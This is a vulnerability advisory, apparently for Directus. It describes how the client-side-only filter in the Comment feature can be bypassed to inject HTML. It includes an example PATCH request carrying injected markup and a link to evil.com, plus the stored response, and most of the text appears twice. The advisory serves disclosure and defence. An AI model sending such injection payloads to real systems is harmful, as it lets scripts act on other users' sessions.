Summary
The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.
Details
The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.
Example Request:
PATCH /activity/comment/3 HTTP/2
Host: directus.local
{
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>"
}
Example Response:
{
"data": {
"id": 3,
"action": "comment",
"user": "288fdccc-399a-40a1-ac63-811bf62e6a18",
"timestamp": "2023-09-06T02:23:40.740Z",
"ip": "10.42.0.1",
"user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36",
"collection": "directus_files",
"item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a",
"comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>",
"origin": "https://directus.local",
"revisions": []
}
}Example Result:
Impact
With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.
References
Summary
The Comment feature has implemented a filter to prevent users from adding restricted characters, such as HTML tags. However, this filter operates on the client-side, which can be bypassed, making the application vulnerable to HTML Injection.
Details
The Comment feature implements a character filter on the client-side, this can be bypassed by directly sending a request to the endpoint.
Example Request:
Example Response:
{ "data": { "id": 3, "action": "comment", "user": "288fdccc-399a-40a1-ac63-811bf62e6a18", "timestamp": "2023-09-06T02:23:40.740Z", "ip": "10.42.0.1", "user_agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "collection": "directus_files", "item": "7247dda1-c386-4e7a-8121-7e9c1a42c15a", "comment": "<h1>TEST <p style=\"color:red\">HTML INJECTION</p> <a href=\"//evil.com\">Test Link</a></h1>", "origin": "https://directus.local", "revisions": [] } }Example Result:
Impact
With the introduction of session cookies this issue has become exploitable as a malicious script is now able to do authenticated actions on the current users behalf.
References